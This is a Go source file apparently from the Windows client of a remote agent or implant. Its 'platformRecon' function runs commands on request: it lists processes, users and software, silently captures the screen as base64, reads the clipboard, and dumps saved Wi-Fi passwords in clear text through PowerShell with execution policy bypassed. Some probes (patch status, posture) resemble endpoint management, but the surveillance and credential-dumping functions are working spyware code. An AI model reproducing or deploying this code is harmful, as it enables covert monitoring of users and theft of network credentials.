//go:build windows

package client

import (
	"os/exec"
	"strings"
)

func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
	var out []byte
	var err error
	switch action {
	case "ps":
		out, err = exec.Command("tasklist").CombinedOutput()
	case "netstat":
		out, err = exec.Command("netstat", "-ano").CombinedOutput()
	case "users":
		out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
	case "software":
		out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
			"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
	case "screenshot":
		out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
			"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
		if err == nil {
			return true, true, strings.TrimSpace(string(out))
		}
		return true, false, formatCmdErr(err, out)
	case "sysinfo":
		out, err = exec.Command("systeminfo").CombinedOutput()
	case "ipconfig":
		out, err = exec.Command("ipconfig", "/all").CombinedOutput()
	case "clipboard":
		out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
		if err == nil {
			return true, true, strings.TrimSpace(string(out))
		}
		return true, false, formatCmdErr(err, out)
	case "wifi":
		script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
		out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
		if err == nil {
			return true, true, strings.TrimSpace(string(out))
		}
		return true, false, formatCmdErr(err, out)
	case "posture":
		if p := collectPosture(); p != nil {
			return true, true, p.JSON()
		}
		return true, false, "posture probe failed"
	case "listen_ports":
		if lp := collectListenPorts(); lp != nil {
			return true, true, lp.JSON()
		}
		return true, false, "listen_ports probe failed"
	case "patch_status":
		if ps := collectPatchStatus(); ps != nil {
			return true, true, ps.JSON()
		}
		return true, false, "patch_status probe failed"
	default:
		return false, false, ""
	}
	if err != nil {
		return true, false, formatCmdErr(err, out)
	}
	return true, true, string(out)
}